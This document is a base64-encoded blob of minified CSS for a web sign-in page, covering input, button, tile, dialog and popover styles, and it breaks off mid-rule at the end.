bnB1dFt0eXBlPSJ1cmwiXTpmb2N1cyxpbnB1dFt0eXBlPSJ3ZWVrIl06Zm9jdXMsdGV4dGFyZWE6Zm9jdXMsc2VsZWN0OmZvY3Vze2JvcmRlci1jb2xvcjojMDA2N2I4O2JhY2tncm91bmQtY29sb3I6dHJhbnNwYXJlbnR9LnRleHQtaW5wdXQtaGFzLWVycm9yLWZvY3VzLGlucHV0W3R5cGU9ImNvbG9yIl0uaGFzLWVycm9yOmZvY3VzLGlucHV0W3R5cGU9ImRhdGUiXS5oYXMtZXJyb3I6Zm9jdXMsaW5wdXRbdHlwZT0iZGF0ZXRpbWUiXS5oYXMtZXJyb3I6Zm9jdXMsaW5wdXRbdHlwZT0iZGF0ZXRpbWUtbG9jYWwiXS5oYXMtZXJyb3I6Zm9jdXMsaW5wdXRbdHlwZT0iZW1haWwiXS5oYXMtZXJyb3I6Zm9jdXMsaW5wdXRbdHlwZT0ibW9udGgiXS5oYXMtZXJyb3I6Zm9jdXMsaW5wdXRbdHlwZT0ibnVtYmVyIl0uaGFzLWVycm9yOmZvY3VzLGlucHV0W3R5cGU9InBhc3N3b3JkIl0uaGFzLWVycm9yOmZvY3VzLGlucHV0W3R5cGU9InNlYXJjaCJdLmhhcy1lcnJvcjpmb2N1cyxpbnB1dFt0eXBlPSJ0ZWwiXS5oYXMtZXJyb3I6Zm9jdXMsaW5wdXRbdHlwZT0idGV4dCJdLmhhcy1lcnJvcjpmb2N1cyxpbnB1dFt0eXBlPSJ0aW1lIl0uaGFzLWVycm9yOmZvY3VzLGlucHV0W3R5cGU9InVybCJdLmhhcy1lcnJvcjpmb2N1cyxpbnB1dFt0eXBlPSJ3ZWVrIl0uaGFzLWVycm9yOmZvY3VzLHRleHRhcmVhLmhhcy1lcnJvcjpmb2N1cyxzZWxlY3QuaGFzLWVycm9yOmZvY3Vze2JvcmRlci1jb2xvcjojZTgxMTIzfWJvZHkuY2IgZGl2LnBsYWNlaG9sZGVye21hcmdpbi10b3A6OHB4O21hcmdpbi1sZWZ0OjB9LmJ0bixidXR0b24saW5wdXRbdHlwZT1cJ2J1dHRvblwnXSxpbnB1dFt0eXBlPVwnc3VibWl0XCddLGlucHV0W3R5cGU9XCdyZXNldFwnXXttaW4taGVpZ2h0OjMycHg7Ym9yZGVyOm5vbmU7YmFja2dyb3VuZC1jb2xvcjojY2NjO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwwLjIpO21pbi13aWR0aDoxMDhweDtsaW5lLWhlaWdodDpub3JtYWx9LmJ0bi1ob3ZlciwuYnRuOmhvdmVyLGJ1dHRvbjpob3ZlcixpbnB1dFt0eXBlPSJidXR0b24iXTpob3ZlcixpbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlcixpbnB1dFt0eXBlPSJyZXNldCJdOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2IyYjJiMjtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsMC4zKX0uYnRuLWZvY3VzLC5idG46Zm9jdXMsYnV0dG9uOmZvY3VzLGlucHV0W3R5cGU9ImJ1dHRvbiJdOmZvY3VzLGlucHV0W3R5cGU9InN1Ym1pdCJdOmZvY3VzLGlucHV0W3R5cGU9InJlc2V0Il06Zm9jdXN7YmFja2dyb3VuZC1jb2xvcjojYjJiMmIyO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwwLjMpO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7b3V0bGluZToycHggc29saWQgIzAwMH0uYnRuLmJ0bi1wcmltYXJ5LGJ1dHRvbi5idG4tcHJpbWFyeSxpbnB1dFt0eXBlPSJidXR0b24iXS5idG4tcHJpbWFyeSxpbnB1dFt0eXBlPSJzdWJtaXQiXS5idG4tcHJpbWFyeSxpbnB1dFt0eXBlPSJyZXNldCJdLmJ0bi1wcmltYXJ5e2JvcmRlci1jb2xvcjojMDA2N2I4O2JhY2tncm91bmQtY29sb3I6IzAwNjdiOH0uYnRuLmJ0bi1wcmltYXJ5LWhvdmVyLC5idG4uYnRuLXByaW1hcnk6aG92ZXIsYnV0dG9uLmJ0bi1wcmltYXJ5OmhvdmVyLGlucHV0W3R5cGU9ImJ1dHRvbiJdLmJ0bi1wcmltYXJ5OmhvdmVyLGlucHV0W3R5cGU9InN1Ym1pdCJdLmJ0bi1wcmltYXJ5OmhvdmVyLGlucHV0W3R5cGU9InJlc2V0Il0uYnRuLXByaW1hcnk6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojMDA1ZGE2fS5idG4uYnRuLXByaW1hcnktZm9jdXMsLmJ0bi5idG4tcHJpbWFyeTpmb2N1cyxidXR0b24uYnRuLXByaW1hcnk6Zm9jdXMsaW5wdXRbdHlwZT0iYnV0dG9uIl0uYnRuLXByaW1hcnk6Zm9jdXMsaW5wdXRbdHlwZT0ic3VibWl0Il0uYnRuLXByaW1hcnk6Zm9jdXMsaW5wdXRbdHlwZT0icmVzZXQiXS5idG4tcHJpbWFyeTpmb2N1c3tiYWNrZ3JvdW5kLWNvbG9yOiMwMDVkYTY7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTtvdXRsaW5lOjJweCBzb2xpZCAjMDAwfS5idG4tYWN0aXZlLC5idG46YWN0aXZlLGJ1dHRvbjphY3RpdmUsaW5wdXRbdHlwZT0iYnV0dG9uIl06YWN0aXZlLGlucHV0W3R5cGU9InN1Ym1pdCJdOmFjdGl2ZSxpbnB1dFt0eXBlPSJyZXNldCJdOmFjdGl2ZSwuYnRuLmJ0bi1wcmltYXJ5LWFjdGl2ZSwuYnRuLmJ0bi1wcmltYXJ5OmFjdGl2ZSxidXR0b24uYnRuLXByaW1hcnk6YWN0aXZlLGlucHV0W3R5cGU9ImJ1dHRvbiJdLmJ0bi1wcmltYXJ5OmFjdGl2ZSxpbnB1dFt0eXBlPSJzdWJtaXQiXS5idG4tcHJpbWFyeTphY3RpdmUsaW5wdXRbdHlwZT0icmVzZXQiXS5idG4tcHJpbWFyeTphY3RpdmV7b3V0bGluZTpub25lO3RleHQtZGVjb3JhdGlvbjpub25lOy1tcy10cmFuc2Zvcm06c2NhbGUoLjk4KTstd2Via2l0LXRyYW5zZm9ybTpzY2FsZSguOTgpO3RyYW5zZm9ybTpzY2FsZSguOTgpfS5idXR0b24uc2Vjb25kYXJ5e2Rpc3BsYXk6aW5saW5lLWJsb2NrO21pbi13aWR0aDoxMDBweDtwYWRkaW5nOjRweCAxMnB4IDRweCAxMnB4O21hcmdpbi10b3A6NHB4O21hcmdpbi1ib3R0b206NHB4O3Bvc2l0aW9uOnJlbGF0aXZlO21heC13aWR0aDoxMDAlO3RleHQtYWxpZ246Y2VudGVyO3doaXRlLXNwYWNlOm5vd3JhcDtvdmVyZmxvdzpoaWRkZW47dmVydGljYWwtYWxpZ246bWlkZGxlO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXM7dG91Y2gtYWN0aW9uOm1hbmlwdWxhdGlvbjtjb2xvcjojMDAwO2JvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MnB4O2JvcmRlci1jb2xvcjp0cmFuc3BhcmVudDttaW4taGVpZ2h0OjMycHg7Ym9yZGVyOm5vbmU7YmFja2dyb3VuZC1jb2xvcjojY2NjO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwwLjIpO21pbi13aWR0aDoxMDhweDtsaW5lLWhlaWdodDpub3JtYWw7bWFyZ2luLXRvcDowO21hcmdpbi1ib3R0b206MDtkaXNwbGF5OmJsb2NrO3dpZHRoOjEwMCV9LmJ1dHRvbi5zZWNvbmRhcnk6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojYjJiMmIyO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwwLjMpfS5idXR0b24uc2Vjb25kYXJ5OmZvY3Vze2JhY2tncm91bmQtY29sb3I6I2IyYjJiMjtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsMC4zKTt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO291dGxpbmU6MnB4IHNvbGlkICMwMDB9LmJ1dHRvbi5zZWNvbmRhcnk6YWN0aXZle291dGxpbmU6bm9uZTt0ZXh0LWRlY29yYXRpb246bm9uZTstbXMtdHJhbnNmb3JtOnNjYWxlKC45OCk7LXdlYmtpdC10cmFuc2Zvcm06c2NhbGUoLjk4KTt0cmFuc2Zvcm06c2NhbGUoLjk4KX0uYnV0dG9uLnByaW1hcnl7Y29sb3I6I2ZmZjtib3JkZXItY29sb3I6IzAwNjdiODtiYWNrZ3JvdW5kLWNvbG9yOiMwMDY3Yjg7ZGlzcGxheTpibG9jazt3aWR0aDoxMDAlfS5idXR0b24ucHJpbWFyeTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiMwMDVkYTZ9LmJ1dHRvbi5wcmltYXJ5OmZvY3Vze2JhY2tncm91bmQtY29sb3I6IzAwNWRhNjt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO291dGxpbmU6MnB4IHNvbGlkICMwMDB9LmJ1dHRvbi5wcmltYXJ5OmFjdGl2ZXtvdXRsaW5lOm5vbmU7dGV4dC1kZWNvcmF0aW9uOm5vbmU7LW1zLXRyYW5zZm9ybTpzY2FsZSguOTgpOy13ZWJraXQtdHJhbnNmb3JtOnNjYWxlKC45OCk7dHJhbnNmb3JtOnNjYWxlKC45OCl9LmxvZ297bWF4LXdpZHRoOjI1NnB4O2hlaWdodDoyNHB4fS5pZGVudGl0eUJhbm5lcntoZWlnaHQ6MjRweDtiYWNrZ3JvdW5kOiNmZmY7bWFyZ2luLXRvcDoxNnB4O21hcmdpbi1ib3R0b206LTRweH0uaWRlbnRpdHl7bGluZS1oZWlnaHQ6MjRweDt3aGl0ZS1zcGFjZTpub3dyYXA7b3ZlcmZsb3c6aGlkZGVuO3RleHQtb3ZlcmZsb3c6ZWxsaXBzaXN9LmJhY2tCdXR0b257bWluLWhlaWdodDoyNHB4O3dpZHRoOjI0cHg7bWluLXdpZHRoOjI0cHg7ZmxvYXQ6bGVmdDtwYWRkaW5nOjA7YmFja2dyb3VuZC1jb2xvcjojZmZmO2JvcmRlci13aWR0aDowO2JvcmRlci1yYWRpdXM6MTJweDttYXJnaW4tcmlnaHQ6MnB4fS5iYWNrQnV0dG9uOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2U2ZTZlNjtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsMC4xKX0uYmFja0J1dHRvbjpob3Zlcjpmb2N1c3tiYWNrZ3JvdW5kLWNvbG9yOiNjY2M7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLDAuMil9LmJhY2tCdXR0b246YWN0aXZle2JhY2tncm91bmQtY29sb3I6I2IzYjNiMztiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsMC4zKX0uYmFja0J1dHRvbjpmb2N1c3tiYWNrZ3JvdW5kLWNvbG9yOiNlNmU2ZTY7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLDAuMSl9LmJvaWxlcnBsYXRlLXRleHR7YmFja2dyb3VuZC1jb2xvcjojZjJmMmYyO3BhZGRpbmc6MjRweCA0NHB4IDM2cHggNDRweDttYXJnaW46NzZweCAtNDRweCAtNDRweCAtNDRweH0uYm9pbGVycGxhdGUtdGV4dC50cmFuc3BhcmVudC1saWdodGJveHtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMjQyLDI0MiwyNDIsMC4yKX0uYm9pbGVycGxhdGUtdGV4dD5wOmZpcnN0LWNoaWxke21hcmdpbi10b3A6MH0uYm9pbGVycGxhdGUtdGV4dD5wOmxhc3QtY2hpbGR7bWFyZ2luLWJvdHRvbTowfS50aWxlLWNvbnRhaW5lciwucmVsYXRpdmV7cG9zaXRpb246cmVsYXRpdmV9LnRhYmxle3dpZHRoOjEwMCU7ZGlzcGxheTp0YWJsZTt0YWJsZS1sYXlvdXQ6Zml4ZWR9LnRhYmxlIC50YWJsZS1yb3d7ZGlzcGxheTp0YWJsZS1yb3d9LnRhYmxlIC50YWJsZS1jZWxse2Rpc3BsYXk6dGFibGUtY2VsbDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGV9LnJvd3ttYXJnaW4tbGVmdDowO21hcmdpbi1yaWdodDowfS5yb3cudGlsZXttYXJnaW4tYm90dG9tOjA7b3V0bGluZTpub25lO2NvbG9yOmluaGVyaXQ7ZGlzcGxheTpibG9jazttYXJnaW4tbGVmdDotNDRweDttYXJnaW4tcmlnaHQ6LTQ0cHh9LnJvdy50aWxlOm5vdCgubm8tcGljayl7Y3Vyc29yOnBvaW50ZXJ9LnJvdy50aWxlOm5vdCgubm8tcGljayk6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojZTZlNmU2O2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwwLjEpO2NvbG9yOmluaGVyaXR9LnJvdy50aWxlOm5vdCgubm8tcGljayk6YWN0aXZle2JhY2tncm91bmQtY29sb3I6I2IzYjNiMztiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsMC4zKTtjb2xvcjppbmhlcml0fS5yb3cudGlsZSAuY29udGVudHtsaW5lLWhlaWdodDoxNnB4O3BhZGRpbmctbGVmdDoxMnB4O3BhZGRpbmctcmlnaHQ6MTJweH0ucm93LnRpbGUgLmNvbnRlbnQ+Knt3b3JkLXdyYXA6YnJlYWstd29yZH0ucm93LnRpbGUgLnRpbGUtbWVudXt3aWR0aDoyM3B4fS5yb3cudGlsZSAudGFibGV7cGFkZGluZzoxMnB4IDQ0cHh9LnJvdy50aWxlIC50YWJsZTpmb2N1c3tvdXRsaW5lOiMwMDAgZGFzaGVkIDFweDtiYWNrZ3JvdW5kOiNjY2M7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLDAuMSl9LnJvdy50aWxlIC50YWJsZVtyb2xlPWxpc3RpdGVtXXtkaXNwbGF5OnRhYmxlO21hcmdpbi1sZWZ0OjB9LnJvdy50aWxlIC50YWJsZS1jZWxsOmZpcnN0LWNoaWxkIC50YWJsZS1jZWxse3dpZHRoOjEwMCV9LnRpbGUtaW1ne3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjQ4cHg7aGVpZ2h0OjQ4cHh9LnRpbGUtaW1nLm1lZGl1bXt3aWR0aDozMnB4O2hlaWdodDozMnB4fS50aWxlLWltZy5zbWFsbHt3aWR0aDoyNHB4O2hlaWdodDoyNHB4O2Zsb2F0OmxlZnQ7bWFyZ2luLXJpZ2h0OjhweH0udGlsZS1pbWcgLnRpbGUtYmFkZ2V7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDtib3R0b206MH1oMywudGV4dC1ib2R5LHB7cGFkZGluZzowO21hcmdpbi10b3A6MTZweDttYXJnaW4tYm90dG9tOjEycHh9LmZvcm0tZ3JvdXB7bWFyZ2luLWJvdHRvbToxNnB4fS5mb3JtLWdyb3VwIGxhYmVse21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjB9LmJ0bixidXR0b24saW5wdXRbdHlwZT1cJ2J1dHRvblwnXSxpbnB1dFt0eXBlPVwnc3VibWl0XCddLGlucHV0W3R5cGU9XCdyZXNldFwnXXttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTowfS5jb2wteHMtMTIuc2Vjb25kYXJ5e3BhZGRpbmctcmlnaHQ6NHB4fS5jb2wteHMtMTIucHJpbWFyeXtwYWRkaW5nLWxlZnQ6NHB4fS5uby1tYXJnaW57bWFyZ2luOjB9Lm5vLW1hcmdpbi1ib3R0b217bWFyZ2luLWJvdHRvbTowfS5uby1tYXJnaW4tdG9wLWJvdHRvbXttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTowfS5uby1wYWRkaW5nLXRvcC1ib3R0b217cGFkZGluZy10b3A6MDtwYWRkaW5nLWJvdHRvbTowfS5vdmVyZmxvdy1oaWRkZW57b3ZlcmZsb3c6aGlkZGVufS5tZW51LWRvdHN7cGFkZGluZzoyNHB4IDA7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MDt0b3A6MnB4fS5tZW51LWRvdHM+ZGl2e3BhZGRpbmc6MCA1cHh9Lm1lbnUtZG90cz5kaXY6Zm9jdXN7b3V0bGluZTojMDAwIGRhc2hlZCAxcHg7YmFja2dyb3VuZDpub25lfS5tZW51e3Bvc2l0aW9uOmFic29sdXRlO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNlNmU2ZTY7Ym9yZGVyOjFweCBzb2xpZCByZ2JhKDAsMCwwLDAuMSk7YmFja2dyb3VuZC1jbGlwOnBhZGRpbmctYm94O3otaW5kZXg6Mjt0b3A6MDtyaWdodDoxMHB4O3dpZHRoOjE2MHB4fS5tZW51IGxpe21hcmdpbjowfS5tZW51IGxpIGF7ZGlzcGxheTpibG9jaztwYWRkaW5nOjExcHggMTJweCAxM3B4O2JhY2tncm91bmQtY29sb3I6I2YyZjJmMjtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwwLDAsMC4wNSk7b3V0bGluZTpub25lO2NvbG9yOmluaGVyaXQ7Y3Vyc29yOnBvaW50ZXJ9Lm1lbnUgbGkgYTpmb2N1c3tvdXRsaW5lOiMwMDAgZGFzaGVkIDFweDtiYWNrZ3JvdW5kLWNvbG9yOiNlNmU2ZTY7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLDAuMSl9Lm1lbnUgbGkgYTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNlNmU2ZTY7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMCwwLDAuMSl9Lm1lbnUgbGkgYTphY3RpdmV7YmFja2dyb3VuZC1jb2xvcjojYjNiM2IzO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDAsMCwwLjMpfS5tb3ZlT2ZmU2NyZWVue3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTowO3JpZ2h0OjA7aGVpZ2h0OjAgIWltcG9ydGFudDt3aWR0aDowICFpbXBvcnRhbnQ7b3ZlcmZsb3c6aGlkZGVuO29wYWNpdHk6MDtmaWx0ZXI6YWxwaGEob3BhY2l0eT0wKX0ubGFyZ2VQYWRkaW5ne3BhZGRpbmc6NDBweH0uZGlzcGxheVNpZ257dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjIuNXJlbTttYXJnaW4tdG9wOjE2cHg7bWFyZ2luLWJvdHRvbToxNnB4fS5iYW5uZXItbG9nb3ttYXgtaGVpZ2h0OjM1cHh9LmRpYWxvZy1vdXRlcntkaXNwbGF5OnRhYmxlO3Bvc2l0aW9uOmFic29sdXRlO2hlaWdodDoxMDAlO3dpZHRoOjEwMCU7ei1pbmRleDoxMDA7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLDAuNTUpO2ZpbHRlcjpwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuZ3JhZGllbnQoR3JhZGllbnRUeXBlPTAsIHN0YXJ0Q29sb3JzdHI9XCcjOEMwMDAwMDBcJywgZW5kQ29sb3JzdHI9XCcjOEMwMDAwMDBcJyl9LmRpYWxvZy1vdXRlciAuZGlhbG9nLW1pZGRsZXtkaXNwbGF5OnRhYmxlLWNlbGw7dmVydGljYWwtYWxpZ246bWlkZGxlfS5kaWFsb2ctb3V0ZXIgLmRpYWxvZy1taWRkbGUgLmRpYWxvZy1pbm5lcntwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW4tbGVmdDphdXRvO21hcmdpbi1yaWdodDphdXRvO3BhZGRpbmc6MjhweDttYXgtd2lkdGg6NTYycHg7YmFja2dyb3VuZC1jb2xvcjojZmZmO2JvcmRlcjoycHggIzRmNzRiMiBzb2xpZDt6LWluZGV4OjEwMH0uZGlhbG9nLW91dGVyIC5kaWFsb2ctbWlkZGxlIC5kaWFsb2ctaW5uZXIgLmRpYWxvZy1jb250ZW50e3Bvc2l0aW9uOnJlbGF0aXZlfS5kaWFsb2ctb3V0ZXIgLmRpYWxvZy1taWRkbGUgLmRpYWxvZy1pbm5lciAuZGlhbG9nLWNvbnRlbnQgLnRleHQtdGl0bGV7Zm9udC1zaXplOjE4cHg7Zm9udC13ZWlnaHQ6NDAwO3BhZGRpbmc6MDttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbToxMnB4fS5hcHBJbmZvUG9wT3Zlcntwb3NpdGlvbjphYnNvbHV0ZTtmb250LXNpemU6MTNweDttYXJnaW4tbGVmdDphdXRvO21hcmdpbi1yaWdodDphdXRvO2xlZnQ6MDtyaWdodDowO3dpZHRoOjQwNHB4O3BhZGRpbmc6MjJweDtib3JkZXI6MnB4IHNvbGlkICNlNmU2ZTY7YmFja2dyb3VuZC1jb2xvcjojZmZmO3otaW5kZXg6MTAwOy13ZWJraXQtYm94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpOy1tb3otYm94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpO2JveC1zaGFkb3c6MCAycHggNnB4IHJnYmEoMCwwLDAsMC4yKX0uYXBwSW5mb1BvcE92ZXIgLnRpdGxle2ZvbnQtd2VpZ2h0OjYwMDtmb250LXdlaWdodDpib2xkO2ZvbnQtc2l6ZToxNnB4fS5hcHBJbmZvUG9wT3ZlciAudGFibGV7ZGlzcGxheTppbmxpbmUtZ3JpZDttYXgtaGVpZ2h0OjE2MHB4O21heC13aWR0aDo5NSU7bWFyZ2luLXRvcDo4cHg7ZmxvYXQ6cmlnaHQ7b3ZlcmZsb3cteTphdXRvfS5hcHBJbmZvUG9wT3ZlciAudGFibGUgLnJvd3tkaXNwbGF5OnRhYmxlLXJvdztwYWRkaW5nLXRvcDo4cHg7d29yZC1icmVhazpicmVhay1hbGx9LmFwcEluZm9Qb3BPdmVyIC50YWJsZSAubGFiZWx7Zm9udC13ZWlnaHQ6NjAwO2ZvbnQtd2VpZ2h0OmJvbGR9LmFwcEluZm9Qb3BPdmVyIC5idXR0b257ZmxvYXQ6cmlnaHQ7cGFkZGluZy1yaWdodDoycHg7cGFkZGluZy1sZWZ0OjJweH0uYXBwSW5mb1ZlcmlmaWVkUHVibGlzaGVyU3RhdHVze2NvbG9yOiMwMDY3Yjh9Lm5vLW91dGxpbmV7b3V0bGluZTpub25lfS5uby13cmFwe3doaXRlLXNwYWNlOm5vd3JhcH0uZm9ybS1ncm91cC1sYXN0LWNoaWxke21hcmdpbi1ib3R0b206MjBweH0ucG9zaXRpb24tYnV0dG9ucz5kaXY6Zmlyc3QtY2hpbGR7ZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTAwJTttYXJnaW4tYm90dG9tOjM2cHh9dWx7bWFyZ2luOjB9LnNjb3Ble21hcmdpbi1ib3R0b206OHB4O21hcmdpbi10b3A6OHB4fS5zY29wZSAudGV4dC1jYXB0aW9ue21hcmdpbjo4cHggMCAwIDI4cHh9LnNjb3BlIC50b2dnbGV7Y3Vyc29yOnBvaW50ZXJ9LnNjb3BlIC50b2dnbGUgLmNoZXZyb257d2lkdGg6MjBweDtmbG9hdDpsZWZ0fS5zY29wZSAudG9nZ2xlIC5sYWJlbHttYXJnaW46MDttYXJnaW4tbGVmdDo4cHh9LmJ1dHRvbi1jb250YWluZXJ7cG9zaXRpb246YWJzb2x1dGU7Ym90dG9tOjA7cmlnaHQ6MDt0ZXh0LWFsaWduOnJpZ2h0fS5hZ3JlZW1lbnQtYnV0dG9ucyBkaXYuYnV0dG9uLWNvbnRhaW5lcntwb3NpdGlvbjpyZWxhdGl2ZTtib3R0b206YXV0bztyaWdodDphdXRvO3RleHQtYWxpZ246cmlnaHR9Lm1vdmUtYnV0dG9ucyBkaXYuYnV0dG9uLWNvbnRhaW5lcntib3R0b206YXV0b30uaGVscC1idXR0b257Y3Vyc29yOnBvaW50ZXJ9QG1lZGlhIChtYXgtd2lkdGg6NjAwcHgpLChtYXgtaGVpZ2h0OjM2NnB4KXsuYmFja2dyb3VuZCwuYmFja2dyb3VuZD5kaXYsLmJhY2tncm91bmQtaW1hZ2UtaG9sZGVyLC5iYWNrZ3JvdW5kLWltYWdlLC5iYWNrZ3JvdW5kLWltYWdlLXNtYWxsLC52ZXJ0aWNhbC1zcGxpdC1iYWNrZ3JvdW5kLWltYWdlLWNvbnRhaW5lcntkaXNwbGF5Om5vbmV9LmJhY2tncm91bmQuYXBwLC5iYWNrZ3JvdW5kLmFwcD5kaXYsLmJhY2tncm91bmQtaW1hZ2UtaG9sZGVyLmFwcCwuYmFja2dyb3VuZC1pbWFnZS1ob2xkZXIuYXBwIC5iYWNrZ3JvdW5kLWltYWdlLC5iYWNrZ3JvdW5kLWltYWdlLWhvbGRlci5hcHAgLmJhY2tncm91bmQtaW1hZ2Utc21hbGx7ZGlzcGxheTppbmhlcml0fS5iYWNrZ3JvdW5kLWxvZ28taG9sZGVye21hcmdpbi10b3A6MjRweH0ubWlkZGxle3ZlcnRpY2FsLWFsaWduOnRvcH0ubWlkZGxlLmFwcHtwYWRkaW5nLWxlZnQ6OHB4O3BhZGRpbmctcmlnaHQ6OHB4fS5pbm5lciwuc2lnbi1pbi1ib3gsLnZlcnRpY2FsLXNwbGl0LWNvbnRlbnR7cGFkZGluZzoyNHB4O21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjg4cHg7d2lkdGg6MTAwJTt3aWR0aDoxMDB2dzstd2Via2l0LWJveC1zaGFkb3c6bm9uZTstbW96LWJveC1zaGFkb3c6bm9uZTtib3gtc2hhZG93Om5vbmU7Ym9yZGVyOjB9LmlubmVyLmFwcCwuc2lnbi1pbi1ib3guYXBwLC52ZXJ0aWNhbC1zcGxpdC1jb250ZW50LmFwcHttaW4td2lkdGg6MzA0cHg7d2lkdGg6Y2FsYygxMDB2dyAtIDE2cHgpfS5pbm5lci5hcHAsLnNpZ24taW4tYm94LmFwcCwudmVydGljYWwtc3BsaXQtY29udGVudC5hcHB7LXdlYmtpdC1ib3gtc2hhZG93OjAgMnB4IDZweCByZ2JhKDAsMCwwLDAuMik7LW1vei1ib3gtc2hhZG93OjAgMnB4IDZweCByZ2JhKDAsMCwwLDAuMik7Ym94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpO2JvcmRlcjoxcHggc29saWQgIzgxOGM5NDtib3JkZXI6MXB4IHNvbGlkIHJnYmEoMCwwLDAsMC40KX0uaW5uZXIuaGFzLXBvcHVwLC5zaWduLWluLWJveC5oYXMtcG9wdXAsLnZlcnRpY2FsLXNwbGl0LWNvbnRlbnQuaGFzLXBvcHVwe3BhZGRpbmctYm90dG9tOjA7bWFyZ2luLWJvdHRvbTowfS5pbm5lci5oYXMtcG9wdXAuYXBwLC5zaWduLWluLWJveC5oYXMtcG9wdXAuYXBwLC52ZXJ0aWNhbC1zcGxpdC1jb250ZW50Lmhhcy1wb3B1cC5hcHB7cGFkZGluZy1ib3R0b206MjRweDttYXJnaW4tYm90dG9tOjIwcHh9LnRlbXBsYXRlLWhlYWRlci1jb250YWluZXJ7ei1pbmRleDoyfS52ZXJ0aWNhbC1zcGxpdC1jb250ZW50e21pbi13aWR0aDppbml0aWFsfS5saWdodGJveC1ib3R0b20tbWFyZ2luLWRlYnVne21hcmdpbi1ib3R0b206MjhweH0ucHJvbW90ZWQtZmVkLWNyZWQtYm94e3BhZGRpbmc6MjRweDttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTo4OHB4O3dpZHRoOjEwMCU7d2lkdGg6MTAwdnc7cGFkZGluZzowIDI0cHh9LnByb21vdGVkLWZlZC1jcmVkLWJveC5hcHB7bWluLXdpZHRoOjMwNHB4O3dpZHRoOmNhbGMoMTAwdncgLSAxNnB4KX0ucHJvbW90ZWQtZmVkLWNyZWQtYm94LmFwcHtwYWRkaW5nOjB9LnByb21vdGVkLWZlZC1jcmVkLWNvbnRlbnR7LXdlYmtpdC1ib3gtc2hhZG93Om5vbmU7LW1vei1ib3gtc2hhZG93Om5vbmU7Ym94LXNoYWRvdzpub25lO2JvcmRlcjowO3BhZGRpbmctbGVmdDoyNHB4O3BhZGRpbmctcmlnaHQ6MjRweDtib3JkZXI6MXB4IHNvbGlkICM4MThjOTQ7Ym9yZGVyOjFweCBzb2xpZCByZ2JhKDAsMCwwLDAuNCl9LnByb21vdGVkLWZlZC1jcmVkLWNvbnRlbnQuYXBwey13ZWJraXQtYm94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpOy1tb3otYm94LXNoYWRvdzowIDJweCA2cHggcmdiYSgwLDAsMCwwLjIpO2JveC1zaGFkb3c6MCAycHggNnB4IHJnYmEoMCwwLDAsMC4yKTtib3JkZXI6MXB4IHNvbGlkICM4MThjOTQ7Ym9yZGVyOjFweCBzb2xpZCByZ2JhKDAsMCwwLDAuNCl9Lm5ldy1zZXNzaW9uLXBvcHVwLXYyc3Nve3BhZGRpbmc6MjRweDttYXJnaW4tdG9wOjA7bWFyZ2luLWJvdHRvbTo4OHB4O3dpZHRoOjEwMCU7d2lkdGg6MTAwdnd9Lm5ldy1zZXNzaW9uLXBvcHVwLXYyc3NvLmFwcHttaW4td2lkdGg6MzA0cHg7d2lkdGg6Y2FsYygxMDB2dyAtIDE2cHgpfS5yb3cudGlsZXttYXJnaW4tbGVmdDotMjRweDttYXJnaW4tcmlnaHQ6LTI0cHh9LnJvdy50aWxlIC50YWJsZXtwYWRkaW5nOjEycHggMjRweH0ud2lkZXttYXgtd2lkdGg6NDQwcHh9LmZvb3RlciwuZm9vdGVyLmhhcy1iYWNrZ3JvdW5ke2J